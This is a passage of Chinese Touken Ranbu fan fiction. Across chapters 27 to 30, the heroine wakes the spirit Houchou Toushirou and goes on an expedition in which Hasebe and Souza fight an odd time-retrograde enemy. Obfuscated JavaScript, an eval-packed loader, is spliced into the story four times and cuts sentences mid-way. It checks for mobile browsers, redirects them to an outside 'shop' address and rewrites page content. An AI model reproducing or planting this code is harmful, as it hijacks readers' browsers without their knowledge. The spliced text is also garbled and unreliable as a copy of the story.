于是,他们两个负责收尾,用她的白菜碎片,加上烛台切雕好的豆腐花,煮出一锅香气浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875523|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁的白菜豆腐味噌汤。 夜子端着碗,看着里面漂着的豆腐花雕饰,感到一种深深的现实落差。 碗里的香气轻轻升起,她低下头,轻轻吹了一口气,唇畔触到汤面那瞬间,味噌的咸香、白菜的清甜、豆腐的柔软一齐在舌尖展开,“好喝!” 烛台切松了一口气,脸上浮现温柔笑意,“那就好。”他轻声道。 夜子抬起头时,看见两人都站在一旁,姿态各异,却同样专注地望着自己,“你们不要喝吗?”她有些疑惑地问。 政宗先是愣了一下,随即露出温和的笑意,“当然会喝,但公主先尝才是最重要的。” 她直接帮他们每人舀了一碗,“好啦,你们可以喝了。”她看着他们两人端起汤碗的样子,忽然觉得自己像是在照顾一对不太需要被照顾的大型犬。 “多谢公主。”政宗先喝了一口,他并没有夸张反应,只是喉结滑动,随后露出一个浅浅却发自内心的微笑。 旁边的烛台切在喝下第一口时愣了愣,手指甚至在碗缘上停了半秒。只有他察觉到汤里的灵力,他几乎立刻明白了来源。这当然不可能是食材自带的,唯一的可能只有…… 是她在舀汤给他时悄悄注入的。 这份体贴让他忍不住抬起眼,轻轻看向夜子。他的眉眼弯起,笑容温柔得像要把人整个包住。 夜子怔了怔,有点心虚地避开那炽热的注视。 她随即转向政宗,小心翼翼地询问道:“对了,政宗大人,我可以跟您交换方才那振厨刀吗?” 政宗喝汤的动作一顿,抬眸看她,金琥珀色的眼眸抬起时带着罕见的错愕,“公主要用那振厨刀?”他的语气里带着几分意外。 夜子点头,手指在膝上轻轻纠着衣角,像是在斟酌措辞,“嗯……说来可能有点奇怪,”她脸颊微微发热,“我觉得这振刀和我有缘。” 有缘地与她联手痛击一颗无辜白菜。 “当然可以。”厨刀早就在做完菜后洗干净了,他从案上取来厨刀,托在掌心递给她,“但交换就不用了,就当我送给公主吧。” 但这毕竟是厨刀,作为赠送礼物会不会显得……不太寻常?对比起他好友送给夜子的药研、信浓和白山,厨刀听起来确实有些不伦不类了。 若非夜子从一开始就显露出奇妙的亲近感,他大概也不会这么爽快点头。 他下次得送公主更认真的礼物才是。 政宗暗暗下定决心。 夜子怔住了,手悬在半空,迟迟没有接过。 “可是……”她轻声道,眉梢微皱,“平白无故收下总觉得有点不好意思。” 政宗刚想再劝,烛台切却先一步靠近夜子的侧旁,“主人,”他认真地看着她,“既然政宗大人愿意赠送,而您也喜欢,那就收下吧。” “有缘的刀,本来就应该到它想去的地方。”政宗闻言,也低声附和,“若是落在公主手中,那便是它的价值。” 夜子一愣,而后眉眼弯弯,“谢谢,那我就收下了。” 27. 包丁 夜子带着那振厨刀和烛台切一起离开了厨房。 回到自己的房间后,她才轻轻呼出口气,终于能把心里盘旋的念头拉到面前端详。 烛台切站在她身边,看着她动作轻柔地将厨刀放在矮桌上,不由得开口:“主人似乎很关注这振厨刀,难道……” 夜子弯了弯眉眼,等待确认许久的谜底终于揭开。她指尖顺着刀鞘缓缓滑过,再轻轻翻过刀身,轻声念出刀身上刻着的二字刀铭,“吉光。” 这终于与她心中的猜测重合。 夜子抬头,“他也是药研他们的兄弟,对吧?”她的语尾带着疑问,但眼神却已经给了答案。 烛台切露出一个笑容,“是的。” 夜子轻轻抿唇,现在她终于能肯定他的名字,“包丁藤四郎。”名字落下的一瞬间,原本毫无灵力的厨刀竟然浮现了些许光芒。 他也感受到了什么,轻轻吸了口气,“刚刚居然一直没有察觉,真是一点也不帅气啊。” 他确实为包丁被发现而感到由衷的欣喜,然而喜悦之下又埋着些许懊悔。他居然没有在第一时间察觉到对方的存在,甚至在夜子向政宗提出要交换厨刀时,他也没能立刻反应过来。 好在,他并没有在那一刻拖她的后腿。想到这一点,他的神情才稍稍有了点安慰。 烛台切苦笑一声,像是决定坦率面对自己的粗心,“我果然还是——” “并不是你的错。”夜子却并不这么觉得,轻轻摇头,“毕竟他原本并没有灵力,就连我也差点怀疑自己的错觉。” 她用轻柔的语气解下他心里过重的责任感,“而且刚刚应该也就只有我和政宗接触过包丁,你用的厨刀不是他吧?又怎么有机会察觉到?” 夜子像突然想起什么,脸色一下子微妙起来,羞赧顺着颊侧爬上耳尖,“要真说起来,拿他去痛击白菜的我才是真的过分。” 她声音越说越轻,想到对方醒来后可能面对自己的表情,她整个人都僵了一下,“希望他不记得吧。” 或者,干脆等他出现后,好好向他道歉吧。 夜子在心里暗暗下定了决心。 烛台切忍俊不禁,眼角弯起。他轻轻摇头,语气里藏着温柔的宠溺,“主人真是……” 她稳了稳心绪,重新抬头,“可以帮我把粟田口的大家叫进来吗?” 他怔了一下,像是没料到她会在第一时间想到他们,随即浅浅一笑,眼底像是被点亮,“当然可以。” “虽然听说他们好像还在聊着,”夜子轻笑,眼中有一闪而过的期待,“不过,我想他们应该也想快点见到他。” 烛台切几乎不需要再多一句便明白她的心意。 “我马上去叫他们。”他说完便快步离去,步伐带着少见的急切。 廊道尽头很快传来熟悉又略显凌乱的脚步声,粟田口们急匆匆地走了进来。 “真的是包丁……”药研喃喃道。 就在方才他还和白山、信浓聊起粟田口大家的去向,甚至他还猜测会不会还有其他兄弟也一样流落到这个世界,没想到现在就真的看见包丁在他眼前出现。 “太好了!”信浓几乎像飞一样扑向夜子怀里,双手紧紧环住她的腰,“谢谢你,大将。” 夜子被他撞得微微后仰,却忍不住笑起来,抬手温柔地摸了摸他的头,“不用客气。若能让你们一家团圆,我也会很高兴。” 不知为何,信浓听见这句话后,眼神反而有些落寞,“这大概会很难吧……”可他很快又扬起一个努力表现出明亮的笑容,“没关系,就算再难,我们也会努力把大家都找回来的。” 夜子还未来得及回应,药研就已经无奈地叹口气,把信浓从夜子怀里揪了出来,“喂喂,先不要打扰大将唤醒包丁。” 她对药研笑了笑,抬起手,掌心贴上刀身传入灵力,刀身在她手下微微颤了一下。刀身的形状被花瓣吞没,又在光中慢慢勾勒出人形。 当光芒散尽,一个棕发棕瞳、眉眼鲜活的小少年正站在那里。下一瞬,他眼睛亮晶晶地抬起头,“我是包丁藤四郎!喜欢的东西是零食点心和人.妻!请多指教!” 夜子:“诶?” 她整个人愣在那,大脑瞬间停止运转了半秒,是她听错了吗?人、人.妻? 药研捂住脸,“果然是这样的情况。”但是他刚才拉着信浓,根本来不及上前捂住包丁的嘴。他声音里混杂着无奈,紧接着是第二句更急切的道歉,“抱歉,大将……!” “说的时候真的一点都没犹豫,”旁边的信浓张大嘴,“该说不愧是包丁吗?” 包丁本人此刻还完全不知道自己造成了怎样的冲击,他像只好奇的小鹿认真观察四周,然后目光重新落回夜子身上。 他棕色的眼眸闪了一下,下一秒像是意识到什么,整个人一愣,“诶?主人是女生……?” 夜子愣愣地点头,“对的,怎么了吗?” 包丁眨了眨眼,眼睛突然亮得像灯泡一样,“那人.妻——” “包丁。”药研按住他的头,把他往后一拉。 包丁被迫抬头,双腿踉跄了一下,小小的身体被药研像提小猫一样举着,“哇!?药研哥!?放开啦——!!” “包丁,我们要注意什么能说,什么不能说。”药研面上依旧维持着那副温和得体的笑,但声音已经冷到足够让人背脊发凉,“知道吗?” 即便如此,包丁也完全不知道危险为何物,照样手舞脚蹈地扭动,“可是、可是我只是——哇啊!!药研哥你抓太紧啦!!” 信浓看得背脊发凉,连忙小声劝,“呃……包丁,你还是听药研的吧。”然后,他转头跟白山小声说,“药研哥现在的表情好吓人吗。” 他话一出口,忍不住回想起某次鲶尾哥不小心打破药研试验用的药瓶的场景。 是的,就是同一副表情。 白山认可地点头。 包丁终于意识到情况不太对,僵了一下,眼神悄悄飘向夜子,像是在寻求救命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875524|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻草,“主、主人……药研哥是不是生气了……?” 夜子忍笑忍到肩膀轻轻抖,“嗯……稍微有一点点吧。” 药研笑容依旧,“主人,不要宠坏他。” 夜子:“……对不起。” “欸!?为什么道歉是主人!?我才是那个该被道歉的吧!!不对,是我道歉吗!?等等我现在要先道歉吗!?”他还在胡乱挣扎,但声音明显软了。 夜子轻轻咳了一声,然后又忍不住笑出来,“欢迎你的到来,包丁。”她柔声道。 被压制住的包丁抬起头,睁大眼睛看她,表情从被兄长勒令闭嘴的抗议变成了惊喜。他乖乖停下挣扎,眼眸亮得像要滴出光来,“主人。” 他第一次认真地叫她。 夜子心里一软。 药研看着突然安静乖巧的弟弟,额角开始跳动,“刚才那种态度为什么不在开口前表现出来?” 包丁立刻委屈得像是以前被一期一振没收了点心,“因为我以为大将是那种传说中的人.妻类型!!” 药研扶额,“……这里没有人.妻。” 信浓:“噗。” 烛台切拼命压住快溢出的笑意,就连白山的嘴角也有那么一点点弧度。 包丁不可置信地看着他,好像在看什么丧心病狂的人,然后转头看向夜子,“主人,你会给我吃好吃的点心吗?”他的语气变得软软的,尾音轻得像小猫抓挠。 看来和信浓一样很爱撒娇呢。 夜子虽然不知道话题为什么会突然跳到这里,但还是认真地点头,温柔回应道:“如果包丁想要的话可以哦,我食物里的点心就全部交给包丁解决吧。” 包丁眨眨眼,似乎没想到主人这么爽快。 “诶?是从主人的那份里拿吗?”他脸一皱,嘴巴微微鼓起来,“这样还是算了。” 包丁扭扭捏捏,却满怀期待地看向她,“那主人愿意温柔地摸摸我的头吗?” 夜子笑意轻轻泛开,“当然会,如果你喜欢的话,现在就可以。” 包丁眼睛一亮,瞬间向前伸出脑袋,像只急着讨抱抱的小猫一样凑上来,“主人,拜托拜托!” 夜子伸手,轻轻落在他的头顶。 他怔住了,整个人像被幸福狠狠击中,然后斩钉截铁,几乎可以说是一锤定音,“呜人.妻!主人就是人.妻吧!!” 药研:……? 包丁本人完全进入自己的小剧场,坚定得像在宣誓,“好幸福!所以之前的一切果然是噩梦吧!我现在醒过来了,所以才会出现人.妻!” 夜子微微一愣。 就在大家以为他要继续时,包丁突然停住,呼吸一顿,像是意识到了什么。他抬头,露出一个几乎让人心软的微笑,“哈哈……开玩笑的啦,我当然知道之前的也是现实。” 他说完便一副若无其事的模样,重新贴到夜子身边,看着夜子的眼神亮晶晶的,又恢复成那只甜得过分的小鹿,“主人,再摸一下嘛——!” 28. 远征 结果不过片刻,包丁就像耗尽了所有情绪般,整个人软软地倒在夜子怀里。刚才还兴奋的他如今睡颜安稳,眉梢还带着一点余留的幸福感,像是终于找到安全的地方。 夜子被他靠得措手不及,只能小心调整姿势,好让他睡得更舒服。 信浓看着那一幕,忍不住嘟囔:“……好狡猾。” 夜子几乎幻视他两只猫耳朵耷下来,委屈巴巴的样子。 “我也想在大将怀里睡嘛——”信浓小声地补了一句,语尾软得像在撒娇,但又带着一点淡淡的失落,“可是除了被唤醒的那一次,之后就一直没有机会了。” 夜子被他说得脸微热,却又忍不住想伸手揉揉信浓的头。 就在这时,药研轻轻咳了一声,让现场的氛围回到正题。 “大将,”他开口,“我听烛台切殿说您现在缺少趁手的武器。” 夜子怔了一下,“居然这么快就传到药研那边了吗?”她语气带着无奈和几分不好意思,“是啊,确实有点缺武器。不过目前城里也没有其他能用的刀了。” 药研沉思地看着她怀里的包丁,又扫过周围的刀剑们,眼底闪过一丝忧虑。 “既然如此,”他深吸一口气,再次认真开口,“大将要不要尝试安排远征,去寻找新的刀剑?” 他解释得很仔细,不仅是出于对夜子的担忧,也是出于谨慎的习惯,“远征一般不会遇到溯行军,所以没什么危险。” 但话说到一半,他的眉头忽然又皱了起来,“可是……”想到如今这本丸特殊的情况,他第一次出现了不确定。 就在他迟疑的时候,夜子却毫不犹豫地点头,像是早已决定好,“我明白,我会去的。” 药研怔愣,“大将……” 该说不愧是他的大将吗? 他露出浅浅的笑容,“好。” “已有的刀剑不会再出现同振的付丧神。”药研继续补充,声音低沉下来,“另外如果不输入灵力,刀剑付丧神是不会出现的。那时的刀剑本体可以作为普通武器。” 他说到此处时,指尖微微发紧。 他眉头轻轻皱得更深,“但这种情况,我希望大将尽量不要选择。”他很少如此明显地表达拒绝,语气却真诚得让人无法忽视。 夜子当然理解他的犹豫与难受,于是她摇头,坚定地说道:“前一种方法可以考虑。”她看着药研,给了一个安心的笑,“但后一种就算了吧。” 药研像是终于松了一口气,他低下眼,轻轻道:“谢谢大将。” 烛台切过来轻声说:“我去准备远征相关的事宜。” 夜子点头。 就在她转开视线的一瞬间,信浓悄悄贴了过来,动作轻到像只小动物。他抬头看她,小声得像怕被人发现一样,“那大将以后能不能也抱抱我睡一下?” 他的语气带着谨慎试探,可尾音又软得明显是在撒娇。显然,哪怕药研刚才成功转移了话题,他还是对大将的怀抱念念不忘。 药研:“信浓。”他语气危险。 信浓条件反射地挺直腰杆,但那紧张只维持了半秒,他还是忍不住偷瞄夜子,眼里满满是期待,“那只是现在抱一下可以吧?” 夜子终于被他逗笑,心头一软,“当然可以。”但她低头一看,怀里正是睡得正香甜的包丁。她的动作顿了一下,有些为难,“不过包丁他——” 还没说完,药研已经默默伸手,把睡得软绵绵的包丁抱了过去。他一只手护住他的后颈,另一手托着腿弯。包丁在他怀里挪了挪,又睡得更熟了。 他一边把怀里的弟弟搂好,一边对另外一位弟弟说:“结束后就赶紧回来。”语气虽然严肃,却透着兄长特有的温柔。 虽然粟田口的大家看着年龄相近,但不知为何药研就是很有哥哥的感觉,而且也能感觉到兄弟们很是依赖他。 信浓显然已经忍不住,他一下子扑进夜子的怀里,却又在最后一瞬间放慢了动作,忐忑又渴望的心情让他的拥抱显得小心翼翼。 夜子几乎是被他轻轻撞在怀里,信浓的手臂环上她的腰时,整个人明显紧张了一下,然后慢慢放松。他额头靠在她的肩窝,呼吸轻得发痒。 “大将的怀抱好温暖。”这句从他胸口闷闷传来,像是忍很久终于偷偷说出来的心声。 “感觉就跟梦里的怀抱一样。”他心想。 与认为美好才是现实的包丁不同,信浓总是下意识地觉得冰冷是现实,温暖才是梦境。 他几乎忘了温热的触感是什么样,所以现在夜子的体温一靠近,他第一反应是怀疑这是不是一场迟早会醒的美梦。 他紧紧攥住夜子的衣摆,害怕下一秒这份温暖就会从指缝流走。 夜子察觉了他的僵硬,便温柔地抬手,在他背上轻拍了两下。 信浓的身体像被电到般轻轻一抖,耳朵瞬间涨得通红,红得像要滴出血。他不敢抬头,只能把脸更深地埋进夜子的肩窝,想把这份温度偷偷藏进心里。 抱够了以后,他像被充好电般弹起来,“好耶!主人和药研哥最好了!”尾音还带点颤抖,显然是害羞到不行。说完,他几乎是逃也似地跑开,耳朵一路红到脖子后。 药研看着他的背影,无奈地叹了口气,但嘴角却控制不住地勾起。 “那大将,我们先走了。”他说得认真正式,像在进行什么重要仪式。最后,他轻轻顿了一下,语调微微上扬,郑重地祝福道:“武运昌隆。” 夜子愣了一下,然后噗地笑出声来,“听起来,感觉我就像故事里的武士呢。” 她说着抬头看向他们,不知为何胸口涌起一阵软软的暖意。 这就是被依赖、被信任、被祝愿平安的感觉吗? 药研被她的笑感染,眼神柔和下来,“大将本来就是武士。”他说得理所当然。 夜子眨了眨眼,“女子也可以是武士吗?” 药研毫不犹豫地反问:“为什么不可以?”他语气坚定到让人无法否认。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875525|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夜子愣了愣,想起之前他们围坐吃饭时的谈话,果然是药研会说出的话。她眉眼弯弯,被他的一句话点亮,“你说得对。” 没过多久,烛台切的脚步声在走廊尽头轻轻响起,“主人,准备好了。” 他推开门时,夜子正好抬起头,见到他身后分别站着长谷部与宗三,“所以这次远征就是我们四人吗?”她笑着迎了上来。 烛台切却缓缓摇头。 “不。”他的声音温和,“只有主人、长谷部和宗三。” 夜子愣了一下,“咦?” 烛台切轻轻点头,“他们会照顾好主人的。” 长谷部的肩膀猛地一紧,像被触动到深处某根神经,紧张让他看起来分明就像只担心被遗弃的小狗。 他忍不住上前一步,眼神认真得几乎有些哀求,“主人是担心我们无法保护您吗?”他的声音紧绷,“无论发生什么,我都不会让您受到半点伤害。” 他呼吸微乱,“即便碎刀也——” 夜子伸手,轻轻按住他的嘴。明明动作温柔,却坚定得让长谷部整个人瞬间僵住。她几乎没有犹豫地摇头,“我当然不是这个意思。” 她抬头看着他,眼底满是温暖的信任,“我相信你们。” 夜子说得很轻,却像落在心上的一记重锤,“但请不要说什么誓死保护我的话。”她轻轻呼吸,像是努力压下心底的不安,“如果真的到了那种情况,请把只会拖后腿的我抛下吧。” 她第一次以刀剑们的主人的身份做出恳求,“这是我唯一的请求。” “但是既然药研都说了不会太过危险,所以我们也不用想得太沉重……?”她试图缓和气氛,然而前一句话却让长谷部几乎是炸开的反应。 “这怎么可能——!”长谷部想都没想就拒绝了。 夜子却难得坚持,“拜托了。”她低声说道。 长谷部的心瞬间软成一团,却依旧摇头。就在他还要反驳时,宗三伸手,轻轻拉住了长谷部的手腕。 “好。”宗三替他回答,语气平稳沉静,“我们知道了。” 长谷部震住,难以置信地猛然转头看向宗三,带着下意识的愤怒的眼睛对上了那双忧郁的眼睛。 作为多年的同伴,他怎么会听不懂宗三的未尽之意? “先应下再说。”长谷部咬紧牙关地心想。 欺骗主人的命令,他怎么可能心安?但为了主人,即便将来要堕入拔舌地狱,他也会笑着下去。 最终,他僵硬地点了点头,“……如果是主命的话。” 宗三这才松开他的手指,向夜子行礼,“既然主人愿意让笼中鸟到外面去,”他低下头,修长的指尖轻触自己唇角那道早已在手入后消失的旧伤痕,“那么我定不相负。” 夜子看着他,露出一个由衷的笑容,“我知道。” 烛台切似乎看出了什么,但也没有多说。同为刀剑,他们也明白彼此的选择。如果是他,一定也会这样做的。 29. 溯行军 “久等了。”夜子换上了比平日更便于行动的衣装,束起的袖口显得干练轻快。她抬手轻轻拍了拍腰间的小包,似乎在确认随身物品是否带齐,“我们出发吧。” 然而,她却没有注意到方才匆忙系上的腰带有些歪斜,绳结的位置偏到一侧,像是随时会松开似的。 长谷部的目光在她身上停住了一瞬。 “失礼了。”他说着上前一步,动作一如既往地沉稳。 他半跪下来,指尖轻轻触碰她腰间的绳带。他指尖一扣一拉,将绳带重新正好,收紧,再细细确认了一遍才退开。 夜子整个人瞬间僵住,耳根像是被什么点燃了一样,从白到红一路窜上去。 “谢谢……谢谢你……”她小声呢喃,声音比蚊鸣大不了多少。 她从没想过会被长谷部以这种理所当然的态度替她系好腰带,更没想过自己会因为这种小动作害羞得快炸掉。 偏偏长谷部完全没有意识到自己做了多有杀伤力的事。 他抬起头,与她方才闪躲的目光正巧擦肩而过,因此没注意到她方才慌乱得不敢直视的眼睛错过。他轻轻一笑,把她的感谢当成珍贵的礼物接下,“不必客气,主人。” 他像是顺着职责自然延伸般补充道:“无论是手刃家臣还是火攻寺庙,都请随意吩咐,只要是主人的愿望。” 夜子:……诶? 怎么感觉话题突然变得好沉重? 她只是系个腰带歪了而已,为什么下一秒话题就快进到这种听起来就很可怕的行为? 她轻轻摇摇头,强行把心底被吓得乱作一团的思绪压下,“我想我应该不会做这种事的。”说出口后,她自己反而有点好奇他为什么会突然说这种话? 宗三似乎看出了她的疑惑,叹了一口气,“那个魔王曾经干过这些事情。” 他说的魔王是指信长大人吧? 她回忆起见到他时,那仿佛从骨子里压迫过来的威势,心里不由得觉得他干出这种事好像也不是特别让人意外,毕竟对方看起来就是不在乎世俗眼光的大人物。 宗三收回视线,语气里带着深深的警惕与复杂,“所以,主人一定要小心他。”这当然不仅是宗三心底对信长的纠葛,也因为在所有被召来的人物之中,信长明显是最危险、最不可测的那一个。 夜子不由得微微紧绷。 宗三接着补充,“至于其他几位也需要警惕,不过不是这种层面的警惕。” 夜子眨眨眼,“那是哪种?”警惕还有不同层面吗? 她露出困惑的眼神,不自觉地歪头看向他们。看着这样的主人,长谷部和宗三只觉得更加放不下心。 宗三顿了顿,语气微妙,“……是异性方面的警惕。” 夜子:“…………啊?” 也不知道是不是过于震惊,她一时连害羞都忘了,满脑子都只想着这不可能吧。 宗三面不改色地继续道:“不过不用担心,本丸里的大家也会盯着他们的。” 夜子一瞬间完全不知道该先害羞还是先紧张,只觉得今天还没正式出阵,情绪就已经起起伏伏了。 “是误会了吧?难道是说……政宗大人?我昨天确实听人提过他说,他替代的那位家臣喜欢我,但这应该不代表政宗大人本人也会喜欢我……对吧?”夜子纠结地解释道。 宗三认真地看了她一眼,目光细细打量,最后确信夜子真的就是这样毫无自觉地想的。 他虽然依旧相信自己的判断,但还是顺着她的逻辑回了一句,“难道他们不仅替代了原主的身份,还继承了他们的情感?” “这……” 夜子还没来得及说什么,长谷部就已经抢在她前面开口了。他声音低沉,甚至有点阴恻恻,语气却无比冷静,“反正不管怎样,觊觎主人的家伙只需要压而切之就行了吧?” 然而这种可怕的冷静反而更让人觉得毛骨悚然。 宗三被这个话题打开了更危险的方向,“长谷部说得有道理。”他沉吟片刻,颇为认可地点头,甚至还补充了一句,“那不如先下手为强?” “等等?!宗三你怎么也——” 一向执行力超群地长谷部从善如流地接话,“也不是不行。” 夜子:“完全不行好吗!!!” 她整个人僵住,脑子里甚至浮现出他们两个一本正经策划怎么更准确地下手,更令人绝望的是他们俩讨论这话题的神情和语气都平稳得像是在讨论午餐吃什么。 你们到底在讨论什么恐怖发言?!给我收敛一点啊!! “对、对了!”夜子深呼吸,决定迅速切断这个危险到不行的话题,“你们有没有觉得这里有点太安静了?” 她停下脚步,环顾四周。 明明是春天,但此刻的空气像是被冰封住一般,只能用寂静来形容。连枝头本应吵闹的小鸟,都没有发出一声啼叫。 宗三眯起眼,手已经不知不觉摸向腰侧,“确实有些怪异。” 长谷部也跟着停下,瞬间收束了刚刚的危险气息,整个人进入警戒,“周围没有溯行军的气息……”他低声判断。 宗三却摇头,眼神逐渐锐利起来,“不对,至少有一个溯行军。”他垂下眼帘,“而且气息有些奇怪。” 夜子原本只是想逃离刚才那个恐怖话题,没想到真的误打误撞发现了危险,“他正在接近吗?”她压低声音问。 宗三点头,而长谷部虽没感应到,却没有丝毫犹豫,只是眉头紧拧,选择完全相信宗三的直觉。他握紧刀柄,护在夜子身前,“主人,请站在我们身后。” 下一秒,一个高大的黑影从深处踉跄走出,气息混乱。那溯行军比常见的类型更巨大,本体像是大太刀或薙刀,但令人不寒而栗的是它的腰间佩戴着一振明显不属于它的打刀。 而且是一振他们两人都认识的打刀。 长谷部眼睛瞬间睁大,声音几乎失控,“……大和守?!” 曾长期担任近侍的他对本丸里有过的每一振刀的本体再熟悉不过,那是不可能看错的。 可为什么大和守的本体会在溯行军身上?! 即便认出了这并不是与自己同个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875526|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本丸的大和守,甚至是还没被唤醒的大和守,心中的愤怒仍旧让他握紧刀身。 夜子脑中一阵发麻,虽然并不认识那振打刀,但从他们的反应来看,两人应该认识那振刀,才会表现得如此惊讶失措。 溯行军忽然停下来,眼中原本闪烁着机械般的红光骤然变得黯淡,“救……”他低沉沙哑的声音发出破碎的音节,宛若破锣般难听。这还是他们第一次遇见会说话的溯行军,即使这并非是完整的话语。 长谷部的手一顿,“他……在求救……?” 宗三没有立刻回应,只是皱紧了眉,眼中闪过复杂的情绪。 难道这是他们暗堕的同伴?这也能解释为什么他方才察觉到熟悉的灵力了,可是…… 不对。 太不对了。 他身上的灵力混杂稀薄,虽然有一部分熟悉的气息,却像是被硬生生扭曲过。他总觉得有哪里完全说不通,却又一时无法定位那种违和感从何而来。 宗三刚想上前一步确认,溯行军却突然像被什么扯断了最后一根理智的线,眼光猛然一滞,五官扭曲,整个身体骤然狂暴,像是失去理智般发动攻击。 咔。 像是什么脆弱的东西在黑暗深处断裂。 对方竟是没有预兆地暴走了。 宗三只能放弃原本打算沟通的念头,与长谷部联合将夜子护在身后,“主人小心!!” 刀剑交击的声响瞬间爆开,对方并没有拿腰间的大和守攻击,反而从背后抽出像是脊椎般的大太刀。 夜子看到那一幕时,呼吸都瞬间冻结。 难怪他们没有看到他本体,原来他们早就融为一体了。 长谷部第一个迎上去,对方的力量大得惊人,他虽然身手干净利落,可每一次交击都震得他的手臂隐隐发麻,甚至几次都被逼得连连后退,肩口甚至被擦出一道极深的伤口。 宗三加入战斗后,局势才勉强稳住。虽然经过手入,他已经摆脱暗堕,但暗堕时期积累的力量并未完全消失,所以在交锋中,他明显比长谷部更能压制住溯行军。 夜子看得心急,但知道自己若是贸然插手,只会扯他们的后腿,给他们添乱。于是,她强迫自己稳住心神,从包里拿出弓箭,小心翼翼地观察着溯行军的走向。 她绷紧弓弦。 她的箭术在家臣面前从来都是被夸的。 “小姐的箭术真是越来越精湛了。” “殿下天赋极好。” 但夜子非常清楚,那些称赞十之八九都是恭维,她真正的箭术只能说比她用刀时更不容易伤到自己一点点。 尽管如此,她也不能坐着等,不能什么都不做。 她仍然握紧了弓,手心被冷汗浸湿,手指因为紧张而有些发颤。 但她也不敢乱射,惟恐误伤了两人,而且她也无法确保自己这一箭能否穿透敌人的盔甲。 没错,她意识到这个溯行军身上居然还穿着装备,要知道不管是城里的士兵还是刀剑付丧神身上都不一定会有这种东西。 是有谁在支援他们吗? 30. 真剑必杀 夜子回忆起记忆里父亲提过的那些邻国,是京极吗?还是东国?为什么他们要这么做,是想要借着她国家的混乱扩张领土吗? 她脑海里各种混乱的想法一闪而过,唯一不变的只有她死死握住的弓箭。 这些事还是之后再想吧,现在他们要做的就是活下去。 长谷部再次陷入险境,那振巨大的薙刀状武器直直刺向他心口。 “长谷部!!”夜子几乎下意识地拉弓,手都在发抖,但还是咬牙松开了指尖。箭矢破风而出,擦过溯行军的面甲,在它侧脸留下炭裂般的裂痕。 溯行军僵住了片刻,然后缓缓转头,幽暗混乱的眼睛一下锁定了夜子。 见它一步一步朝她走来,夜子只觉得喉咙发紧,后退的脚步发软。记忆恍惚间仿佛回到遇见怀剑的那一天,她就是这样无措地面对鬼的逼近,然后意外闯入父亲的寝室。 那时的她挥出短刀却被鬼的利爪挡下,那么现在她用箭呢? 她再次拉紧弓弦,瞄准溯行军泛着红光的眼睛。 说不害怕是假的,但她也绝不会后悔自己方才的决定,她做不到眼睁睁看着长谷部被大太刀捅穿心口。 “主人!!!”长谷部濒临崩断的嘶吼撕裂空气。他的声音带着急切,几乎是在同一瞬间,他整个人像被点燃般冲了出去。 宗三也立刻反应过来,目光一冷,“长谷部——!”他想追上去,却被溯行军挥出的巨大武器逼得不得不停下脚步,只能在短暂的空隙里望向夜子。 可是夜子已经被逼得不断后退。 溯行军的脚步沉重却稳,像是盯上猎物的野兽。它的眼睛里没有理智,只有暴走后的疯狂红光。 她呼吸紊乱,心跳快得像要跳出胸口,后背撞上树干,发出极轻的声响。她想抬弓,可手心都是汗,绳弦滑得握不稳。 溯行军抬起武器。 事到如今,她反而更加平静,竟还有心情开玩笑。不得不说,那武器的形状还是太诡异了,像是从骨骼里抽出的巨大脊椎,脊节锋利得像倒刺。 只要一下,她就会被贯穿。 “死吧。与主人为敌……这理由已经足够了!”长谷部怒吼着冲来,宗三也同时侧身闪过巨刃,试图重新缠住敌人,却来不及。 夜子只看到长谷部越来越靠近,身影不断地扩大,然后—— “将主人的仇敌斩杀殆尽!!!”这一声怒喝几乎震碎她耳膜。 长谷部的刀在空气中划过一道极亮的弧线,像是把他全部的忠诚、全部的恐惧、全部的执念都凝聚成一击。 刀锋几乎割裂空气,以瞬间不可阻挡的速度斩下。 嘭!!! 溯行军被从脖颈斩断,巨大的身躯摇晃瘫倒,眼中火光一般的红色快速熄灭,随后才从伤口处开始碎裂。 而就在彻底散开前,那破裂的面甲下出现了一个极微弱、几乎无法察觉的微笑,像是终于解脱了一般。 